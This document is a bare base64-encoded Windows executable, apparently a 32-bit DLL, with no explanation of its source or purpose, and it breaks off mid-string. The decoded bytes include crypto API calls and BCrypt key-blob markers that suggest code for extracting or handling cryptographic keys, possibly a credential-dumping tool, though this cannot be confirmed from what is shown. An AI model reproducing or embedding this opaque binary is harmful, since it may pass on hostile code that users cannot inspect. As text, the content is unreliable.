'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